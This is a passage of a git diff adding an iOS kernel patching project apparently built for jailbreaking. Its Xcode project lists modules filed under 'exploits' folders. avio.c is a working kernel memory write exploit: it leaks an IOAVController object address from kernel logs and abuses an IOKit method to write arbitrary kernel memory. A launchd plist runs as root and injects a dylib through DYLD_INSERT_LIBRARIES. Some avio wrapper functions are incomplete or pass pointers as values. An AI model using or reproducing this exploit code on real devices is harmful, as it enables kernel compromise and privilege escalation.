PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = avio.c; sourceTree = ""; }; + 8ACB7C831941A2B500E18AA3 /* avio.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = avio.h; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A6E735B188EF0B0000D650F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8AB037D918DDEB64001AC096 /* IOKit.framework in Frameworks */, + 8A6E7437188EFDE4000D650F /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A4248791B44CE3200DC2E9F /* pangwho */ = { + isa = PBXGroup; + children = ( + 8A42487A1B44CE4900DC2E9F /* pangwho.c */, + 8A42487B1B44CE4900DC2E9F /* pangwho.h */, + ); + name = pangwho; + sourceTree = ""; + }; + 8A6E7355188EF0B0000D650F = { + isa = PBXGroup; + children = ( + 8A6E7360188EF0B0000D650F /* patch */, + 8A6E735F188EF0B0000D650F /* Products */, + 8A6E743F188EFE5E000D650F /* Frameworks */, + ); + sourceTree = ""; + }; + 8A6E735F188EF0B0000D650F /* Products */ = { + isa = PBXGroup; + children = ( + 8A6E735E188EF0B0000D650F /* patch */, + ); + name = Products; + sourceTree = ""; + }; + 8A6E7360188EF0B0000D650F /* patch */ = { + isa = PBXGroup; + children = ( + 8A6E7431188EF538000D650F /* find */, + 8A6E742E188EF512000D650F /* kaslr */, + 8A6E742D188EF50C000D650F /* kernel */, + 8A6E7479189958DF000D650F /* macho */, + 8A6E73D6188EF2F8000D650F /* patch.c */, + 8A6E73D7188EF2F8000D650F /* patch.h */, + 8A6E7361188EF0B0000D650F /* Package */, + 8A6E7365188EF0B0000D650F /* Supporting Files */, + ); + path = patch; + sourceTree = ""; + }; + 8A6E7361188EF0B0000D650F /* Package */ = { + isa = PBXGroup; + children = ( + 8A6E7362188EF0B0000D650F /* DEBIAN */, + 8A6E7367188EF0B0000D650F /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A6E7362188EF0B0000D650F /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A6E7363188EF0B0000D650F /* control.txt */, + 8A6E7364188EF0B0000D650F /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A6E7365188EF0B0000D650F /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A6E7366188EF0B0000D650F /* PackageVersion.plist */, + 8A6E73CB188EF2F8000D650F /* com.sudo-sec.patch.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A6E7367188EF0B0000D650F /* usr */ = { + isa = PBXGroup; + children = ( + 8A6E7368188EF0B0000D650F /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A6E7368188EF0B0000D650F /* bin */ = { + isa = PBXGroup; + children = ( + 8A6E7369188EF0B0000D650F /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A6E742D188EF50C000D650F /* kernel */ = { + isa = PBXGroup; + children = ( + 8A6E73D2188EF2F8000D650F /* kernel.c */, + 8A6E73D3188EF2F8000D650F /* kernel.h */, + 8A6E7430188EF531000D650F /* exploits */, + ); + name = kernel; + sourceTree = ""; + }; + 8A6E742E188EF512000D650F /* kaslr */ = { + isa = PBXGroup; + children = ( + 8A6E73D0188EF2F8000D650F /* kaslr.c */, + 8A6E73D1188EF2F8000D650F /* kaslr.h */, + 8A6E742F188EF522000D650F /* exploits */, + ); + name = kaslr; + sourceTree = ""; + }; + 8A6E742F188EF522000D650F /* exploits */ = { + isa = PBXGroup; + children = ( + 8A75E8FC197EEEF70007FCA7 /* earlyrandom */, + 8A6E7433188EF59D000D650F /* vmmap */, + 8A6E7432188EF593000D650F /* devtree */, + ); + name = exploits; + sourceTree = ""; + }; + 8A6E7430188EF531000D650F /* exploits */ = { + isa = PBXGroup; + children = ( + 8A4248791B44CE3200DC2E9F /* pangwho */, + 8A75E8F8197EEEC00007FCA7 /* dangu */, + 8ACB7C801941A25C00E18AA3 /* avio */, + 8A7EABF118E48C4F0066C1F8 /* pmap */, + 8A6E7435188EF5CC000D650F /* tfp0 */, + 8A6E7434188EF5BD000D650F /* m1n0rthreat */, + ); + name = exploits; + sourceTree = ""; + }; + 8A6E7431188EF538000D650F /* find */ = { + isa = PBXGroup; + children = ( + 8A6E73CE188EF2F8000D650F /* find.c */, + 8A6E73CF188EF2F8000D650F /* find.h */, + ); + name = find; + sourceTree = ""; + }; + 8A6E7432188EF593000D650F /* devtree */ = { + isa = PBXGroup; + children = ( + 8A6E73CC188EF2F8000D650F /* devtree.c */, + 8A6E73CD188EF2F8000D650F /* devtree.h */, + ); + name = devtree; + sourceTree = ""; + }; + 8A6E7433188EF59D000D650F /* vmmap */ = { + isa = PBXGroup; + children = ( + 8A6E73DA188EF2F8000D650F /* vmmap.c */, + 8A6E73DB188EF2F8000D650F /* vmmap.h */, + ); + name = vmmap; + sourceTree = ""; + }; + 8A6E7434188EF5BD000D650F /* m1n0rthreat */ = { + isa = PBXGroup; + children = ( + 8A6E73D4188EF2F8000D650F /* m1n0rthreat.c */, + 8A6E73D5188EF2F8000D650F /* m1n0rthreat.h */, + ); + name = m1n0rthreat; + sourceTree = ""; + }; + 8A6E7435188EF5CC000D650F /* tfp0 */ = { + isa = PBXGroup; + children = ( + 8A6E73D8188EF2F8000D650F /* tfp0.c */, + 8A6E73D9188EF2F8000D650F /* tfp0.h */, + ); + name = tfp0; + sourceTree = ""; + }; + 8A6E743F188EFE5E000D650F /* Frameworks */ = { + isa = PBXGroup; + children = ( + 8A6E7438188EFDFE000D650F /* IOKit.framework */, + 8A6E7436188EFDE4000D650F /* CoreFoundation.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; + 8A6E7479189958DF000D650F /* macho */ = { + isa = PBXGroup; + children = ( + 8A6E747A189959D0000D650F /* debug.h */, + 8A6E7467189958DA000D650F /* command.c */, + 8A6E7468189958DA000D650F /* command.h */, + 8A6E7469189958DA000D650F /* macho.c */, + 8A6E746A189958DA000D650F /* macho.h */, + 8A6E746B189958DA000D650F /* section.c */, + 8A6E746C189958DA000D650F /* section.h */, + 8A6E746D189958DA000D650F /* segment.c */, + 8A6E746E189958DA000D650F /* segment.h */, + 8A6E746F189958DA000D650F /* symbol.c */, + 8A6E7470189958DA000D650F /* symbol.h */, + 8A6E7471189958DA000D650F /* symtab.c */, + 8A6E7472189958DA000D650F /* symtab.h */, + ); + name = macho; + sourceTree = ""; + }; + 8A75E8F8197EEEC00007FCA7 /* dangu */ = { + isa = PBXGroup; + children = ( + 8A75E8F9197EEED10007FCA7 /* dangu.c */, + 8A75E8FB197EEEE40007FCA7 /* dangu.h */, + ); + name = dangu; + sourceTree = ""; + }; + 8A75E8FC197EEEF70007FCA7 /* earlyrandom */ = { + isa = PBXGroup; + children = ( + 8A75E8FD197EEF1D0007FCA7 /* earlyrandom.c */, + 8A75E8FF197EEF290007FCA7 /* earlyrandom.h */, + ); + name = earlyrandom; + sourceTree = ""; + }; + 8A7EABF118E48C4F0066C1F8 /* pmap */ = { + isa = PBXGroup; + children = ( + 8A7EABF218E48C660066C1F8 /* pmap.c */, + 8A7EABF418E48C720066C1F8 /* pmap.h */, + ); + name = pmap; + sourceTree = ""; + }; + 8ACB7C801941A25C00E18AA3 /* avio */ = { + isa = PBXGroup; + children = ( + 8ACB7C811941A2A200E18AA3 /* avio.c */, + 8ACB7C831941A2B500E18AA3 /* avio.h */, + ); + name = avio; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A6E735D188EF0B0000D650F /* patch */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8A6E736E188EF0B0000D650F /* Build configuration list for PBXNativeTarget "patch" */; + buildPhases = ( + 8A6E735A188EF0B0000D650F /* Sources */, + 8A6E735B188EF0B0000D650F /* Frameworks */, + 8A6E735C188EF0B0000D650F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = patch; + productName = patch; + productReference = 8A6E735E188EF0B0000D650F /* patch */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A6E7356188EF0B0000D650F /* Project object */ = { + isa = PBXProject; + attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A6E7359188EF0B0000D650F /* Build configuration list for PBXProject "patch" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A6E7355188EF0B0000D650F; + productRefGroup = 8A6E735F188EF0B0000D650F /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A6E735D188EF0B0000D650F /* patch */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A6E735C188EF0B0000D650F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A6E735A188EF0B0000D650F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7473189958DA000D650F /* command.c in Sources */, + 8A6E7476189958DA000D650F /* segment.c in Sources */, + 8A6E73E1188EF2F8000D650F /* patch.c in Sources */, + 8A6E7475189958DA000D650F /* section.c in Sources */, + 8A6E73E3188EF2F8000D650F /* vmmap.c in Sources */, + 8A6E73DE188EF2F8000D650F /* kaslr.c in Sources */, + 8A75E8FE197EEF1D0007FCA7 /* earlyrandom.c in Sources */, + 8A75E8FA197EEED10007FCA7 /* dangu.c in Sources */, + 8ACB7C821941A2A200E18AA3 /* avio.c in Sources */, + 8A6E7474189958DA000D650F /* macho.c in Sources */, + 8A6E73DD188EF2F8000D650F /* find.c in Sources */, + 8A6E73DF188EF2F8000D650F /* kernel.c in Sources */, + 8A6E73E0188EF2F8000D650F /* m1n0rthreat.c in Sources */, + 8A42487C1B44CE4900DC2E9F /* pangwho.c in Sources */, + 8A7EABF318E48C660066C1F8 /* pmap.c in Sources */, + 8A6E73DC188EF2F8000D650F /* devtree.c in Sources */, + 8A6E7478189958DA000D650F /* symtab.c in Sources */, + 8A6E73E2188EF2F8000D650F /* tfp0.c in Sources */, + 8A6E7477189958DA000D650F /* symbol.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A6E736C188EF0B0000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A6E736D188EF0B0000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A6E736F188EF0B0000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A6E7370188EF0B0000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A6E7359188EF0B0000D650F /* Build configuration list for PBXProject "patch" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E736C188EF0B0000D650F /* Debug */, + 8A6E736D188EF0B0000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A6E736E188EF0B0000D650F /* Build configuration list for PBXNativeTarget "patch" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E736F188EF0B0000D650F /* Debug */, + 8A6E7370188EF0B0000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A6E7356188EF0B0000D650F /* Project object */; +} diff --git a/patch/patch.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/patch/patch.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..8e1aa2d --- /dev/null +++ b/patch/patch.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/patch/patch.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate b/patch/patch.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000..0e366eb Binary files /dev/null and b/patch/patch.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate differ diff --git a/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/patch.xcscheme b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/patch.xcscheme new file mode 100644 index 0000000..ccdcd36 --- /dev/null +++ b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/patch.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..cac694b --- /dev/null +++ b/patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + patch.xcscheme + + orderHint + 0 + + + SuppressBuildableAutocreation + + 8A6E735D188EF0B0000D650F + + primary + + + + + diff --git a/patch/patch/PackageVersion.plist b/patch/patch/PackageVersion.plist new file mode 100644 index 0000000..7b7575c --- /dev/null +++ b/patch/patch/PackageVersion.plist @@ -0,0 +1,16 @@ + + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/patch/patch/avio.c b/patch/patch/avio.c new file mode 100644 index 0000000..85df67f --- /dev/null +++ b/patch/patch/avio.c @@ -0,0 +1,176 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "avio.h" + +// STR.W R4, [R0,#0x98] +const int g_addr_offset = 0x98; + +io_connect_t g_connection = 0; +// IOService object address +uint32_t g_ioservice_addr = 0; + +void write_mem_from_av(uint32_t address, uint32_t value); + +void close_av_device() +{ + if (g_connection != 0) + IOServiceClose(g_connection); +} + +io_connect_t open_av_device() +{ + CFMutableDictionaryRef matching; + io_service_t service; + kern_return_t kr; + + if (g_connection != 0) + return g_connection; + + matching = IOServiceMatching("IOAVController"); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + kr = IOServiceOpen(service, mach_task_self(), 0, &g_connection); + if(KERN_SUCCESS != kr) + { + syslog(LOG_ERR, "Open IOService fail: %x\n", kr); + g_connection = 0; + return 0; + } + + return g_connection; +} + +// we can only query asl as root :( +// but we could get log from console log in tools like xcode! +// so call set_av_ioservice_addr to set the address +uint32_t get_address_from_asl() +{ + aslmsg q, m; + int i; + const char *key, *val, *ptr, *ptr2; + char addressData[256] = {}; + q = asl_new(ASL_TYPE_QUERY); + asl_set_query(q, ASL_KEY_SENDER, "kernel", ASL_QUERY_OP_EQUAL); + aslresponse r = asl_search(NULL, q); + syslog(LOG_ERR, "aslmsg: %p aslresponse: %p ret: %d\n", q, r, errno); + while (NULL != (m = aslresponse_next(r))) + { + for (i = 0; (NULL != (key = asl_key(m, i))); i++) + { + val = asl_get(m, key); + syslog(LOG_ERR, "#%d: val = %s\n", i, val); + ptr = strstr(val, "_setLogLevel:("); + if (ptr != NULL) + { + syslog(LOG_ERR, "%s: %s\n", key, val); + + ptr = ptr + 14; + ptr2 = ptr; + + while (*ptr2 != ')') + ptr2 ++; + + syslog(LOG_ERR, "length = %d\n", (ptr2 - ptr)); + strncpy(addressData, ptr, (ptr2 - ptr)); + goto out; + + } + syslog(LOG_ERR, "%s: %s\n", key, val); + } + } + +out: + aslresponse_free(r); + + if (strlen(addressData) != 0) + { + return strtoul(addressData, NULL, 16); + } + + return 0; +} + +// hack here. if you are not root, please get address from console log first +void set_av_ioservice_addr(uint32_t addr) +{ + g_ioservice_addr = addr; +} + +uint32_t get_av_ioservice_addr() +{ + uint64_t input = 0; + int i; + + if (open_av_device() == 0) + return 0; + + if (g_ioservice_addr != 0) + return g_ioservice_addr; + + for (i = 0; i < 20; i++) + { + // produce some log to retrieve object address + IOConnectCallMethod(g_connection, 0, (uint64_t *)&input, 1, 0, 0, NULL, NULL, NULL, NULL); + sleep(1); + g_ioservice_addr = get_address_from_asl(); + + if (g_ioservice_addr != 0) + break; + } + + syslog(LOG_ERR, "ioservice object address is %p\n", (void *)g_ioservice_addr); + + return g_ioservice_addr; +} + +void write_mem_from_av(uint32_t address, uint32_t value) +{ + uint64_t input[2]; + uint32_t koffset; + uint64_t kaddr; + + if (address % 4 != 0) + { + return; + } + + get_av_ioservice_addr(); + + if (g_ioservice_addr == 0) + return; + + koffset = (address - g_ioservice_addr) - g_addr_offset; + koffset /= 4; + kaddr = 0x80000000 + koffset; + syslog(LOG_ERR, "IOService: 0x%x Address to write: 0x%x Offset: %llx Value: 0x%x\n", + g_ioservice_addr, address, kaddr, value); + + input[0] = kaddr; + input[1] = (uint64_t)value; + + IOConnectCallMethod(g_connection, 1, (uint64_t *)input, 2, 0, 0, NULL, NULL, NULL, NULL); +} + +vm_address_t avio_kernel_get(vm_address_t address) { + +} + +void avio_kernel_set(vm_address_t address, void* value) { + write_mem_from_av(address, value); +} +vm_size_t avio_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} +vm_size_t avio_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + int i = 0; + for(i = 0; i < size; i += 4) { + avio_kernel_set(addr+i, buffer+i); + } + return 0; +} \ No newline at end of file diff --git a/patch/patch/avio.h b/patch/patch/avio.h new file mode 100644 index 0000000..e6fead8 --- /dev/null +++ b/patch/patch/avio.h @@ -0,0 +1,40 @@ +// +// avio.h +// patch +// +// Created by Joshua Hill on 6/6/14. +// +// + +#ifndef patch_avio_h +#define patch_avio_h + +#include +#include +#include +#include +#include +#include +#include + +//kern.osversion +#define VALID_VERSION "13D65" + +void write_mem_from_av(uint32_t address, uint32_t value); + +void close_av_device(); + +io_connect_t open_av_device(); +uint32_t get_address_from_asl(); +void set_av_ioservice_addr(uint32_t addr); + +uint32_t get_av_ioservice_addr(); + +void write_mem_from_av(uint32_t address, uint32_t value); + +vm_address_t avio_kernel_get(vm_address_t address); +void avio_kernel_set(vm_address_t address, void* value); +vm_size_t avio_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t avio_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/com.sudo-sec.patch.plist b/patch/patch/com.sudo-sec.patch.plist new file mode 100644 index 0000000..a2ac55a --- /dev/null +++ b/patch/patch/com.sudo-sec.patch.plist @@ -0,0 +1,23 @@ + + + + + KeepAlive + + EnvironmentVariables + + DYLD_INSERT_LIBRARIES + /Developer/patch.dylib + + Label + com.sudo-sec.patch + ProgramArguments + + /sbin/mount + + UserName + root + RunAtLoad + + + diff --git a/patch/patch/command.c b/patch/patch/command.c new file mode 100644 index 0000000..46b34fa --- /dev/null +++ b/patch/patch/command.c @@ -0,0 +1,142 @@ +/** + * libmacho-1.0 - command.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + + +//#define _DEBUG +#include "debug.h" +#include "command.h" + +macho_command_t* macho_command_create(void); +macho_command_info_t* macho_command_info_create(void); + +/* + * Mach-O Command Functions + */ +macho_command_t* macho_command_create() { + macho_command_t* command = (macho_command_t*) malloc(sizeof(macho_command_t)); + if (command) { + memset(command, '\0', sizeof(macho_command_t)); + } + return command; +} +/* +#define MACHO_CMD_SEGMENT 0x1 // segment of this file to be mapped +#define MACHO_CMD_SYMTAB 0x2 // link-edit stab symbol table info +#define MACHO_CMD_SYMSEG 0x3 // link-edit gdb symbol table info (obsolete) +#define MACHO_CMD_THREAD 0x4 // thread +#define MACHO_CMD_UNIXTHREAD 0x5 // unix thread (includes a stack) +#define MACHO_CMD_LOADFVMLIB 0x6 // load a specified fixed VM shared library +#define MACHO_CMD_IDFVMLIB 0x7 // fixed VM shared library identification +#define MACHO_CMD_IDENT 0x8 // object identification info (obsolete) +#define MACHO_CMD_FVMFILE 0x9 // fixed VM file inclusion (internal use) +#define MACHO_CMD_PREPAGE 0xA // prepage command (internal use) +#define MACHO_CMD_DYSYMTAB 0xB // dynamic link-edit symbol table info +#define MACHO_CMD_LOAD_DYLIB 0xC // load a dynamically linked shared library +#define MACHO_CMD_ID_DYLIB 0xD // dynamically linked shared lib ident +#define MACHO_CMD_LOAD_DYLINKER 0xE // load a dynamic linker +#define MACHO_CMD_ID_DYLINKER 0xF // dynamic linker identification +#define MACHO_CMD_PREBOUND_DYLIB 0x10 // modules prebound for a dynamically linked shared library +#define MACHO_CMD_ROUTINES 0x11 // image routines +#define MACHO_CMD_SUB_FRAMEWORK 0x12 // sub framework +#define MACHO_CMD_SUB_UMBRELLA 0x13 // sub umbrella +#define MACHO_CMD_SUB_CLIENT 0x14 // sub client +#define MACHO_CMD_SUB_LIBRARY 0x15 // sub library +#define MACHO_CMD_TWOLEVEL_HINTS 0x16 // two-level namespace lookup hints +#define MACHO_CMD_PREBIND_CKSUM 0x17 // prebind checksum +*/ +macho_command_t* macho_command_load(unsigned char* data, uint32_t offset) { + uint32_t size = 0; + macho_command_t* command = macho_command_create(); + if(command == NULL) { + error("Unable to create command\n"); + return NULL; + } + + macho_command_info_t* info = macho_command_info_load(data, offset); //(macho_command_info_t*) &data[offset]; + if (info) { + command->info = info; + command->cmd = info->cmd; + command->size = info->cmdsize; + command->data = data; + command->offset = offset; + } + + return command; +} + +void macho_command_debug(macho_command_t* command) { + if (command) { + debug("\tCommand:\n"); + if(command->info) { + macho_command_info_debug(command->info); + } + debug("\t\n"); + } +} + +void macho_command_free(macho_command_t* command) { + if(command) { + if(command->info) { + macho_command_info_free(command->info); + command->info = NULL; + } + free(command); + } +} + +/* + * Mach-O Command Info Functions + */ +macho_command_info_t* macho_command_info_create() { + macho_command_info_t* info = (macho_command_info_t*) malloc(sizeof(macho_command_info_t)); + if (info) { + debug("Mach-O Command Info Created\n"); + memset(info, '\0', sizeof(macho_command_info_t)); + } + return info; +} + +macho_command_info_t* macho_command_info_load(unsigned char* data, uint32_t offset) { + macho_command_info_t* info = (macho_command_info_t*)macho_command_info_create(); + if (info) { + debug("Mach-O Command Info Loaded\n"); + memcpy(info, data+offset, sizeof(macho_command_info_t)); + //macho_command_info_debug(info); + } + return info; +} + +void macho_command_info_debug(macho_command_info_t* info) { + if (info) { + debug("\tInfo:\n"); + debug("\t\t cmd = %d\n", info->cmd); + debug("\t\tcmdsize = %d\n", info->cmdsize); + debug("\t\n"); + } +} + +void macho_command_info_free(macho_command_info_t* info) { + if (info) { + free(info); + } +} diff --git a/patch/patch/command.h b/patch/patch/command.h new file mode 100644 index 0000000..882f618 --- /dev/null +++ b/patch/patch/command.h @@ -0,0 +1,78 @@ +/** + * libmacho-1.0 - command.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_COMMAND_H_ +#define MACHO_COMMAND_H_ + +#define MACHO_CMD_SEGMENT 0x1 // segment of this file to be mapped +#define MACHO_CMD_SYMTAB 0x2 // link-edit stab symbol table info +#define MACHO_CMD_SYMSEG 0x3 // link-edit gdb symbol table info (obsolete) +#define MACHO_CMD_THREAD 0x4 // thread +#define MACHO_CMD_UNIXTHREAD 0x5 // unix thread (includes a stack) +#define MACHO_CMD_LOADFVMLIB 0x6 // load a specified fixed VM shared library +#define MACHO_CMD_IDFVMLIB 0x7 // fixed VM shared library identification +#define MACHO_CMD_IDENT 0x8 // object identification info (obsolete) +#define MACHO_CMD_FVMFILE 0x9 // fixed VM file inclusion (internal use) +#define MACHO_CMD_PREPAGE 0xA // prepage command (internal use) +#define MACHO_CMD_DYSYMTAB 0xB // dynamic link-edit symbol table info +#define MACHO_CMD_LOAD_DYLIB 0xC // load a dynamically linked shared library +#define MACHO_CMD_ID_DYLIB 0xD // dynamically linked shared lib ident +#define MACHO_CMD_LOAD_DYLINKER 0xE // load a dynamic linker +#define MACHO_CMD_ID_DYLINKER 0xF // dynamic linker identification +#define MACHO_CMD_PREBOUND_DYLIB 0x10 // modules prebound for a dynamically linked shared library +#define MACHO_CMD_ROUTINES 0x11 // image routines +#define MACHO_CMD_SUB_FRAMEWORK 0x12 // sub framework +#define MACHO_CMD_SUB_UMBRELLA 0x13 // sub umbrella +#define MACHO_CMD_SUB_CLIENT 0x14 // sub client +#define MACHO_CMD_SUB_LIBRARY 0x15 // sub library +#define MACHO_CMD_TWOLEVEL_HINTS 0x16 // two-level namespace lookup hints +#define MACHO_CMD_PREBIND_CKSUM 0x17 // prebind checksum + + +typedef struct macho_command_info_t { + uint32_t cmd; + uint32_t cmdsize; +} macho_command_info_t; + +typedef struct macho_command_t { + uint32_t cmd; + uint32_t size; + uint32_t index; + uint32_t offset; + unsigned char* data; + macho_command_info_t* info; +} macho_command_t; + +/* + * Mach-O Command Functions +*/ +macho_command_t* macho_command_create(); +macho_command_t* 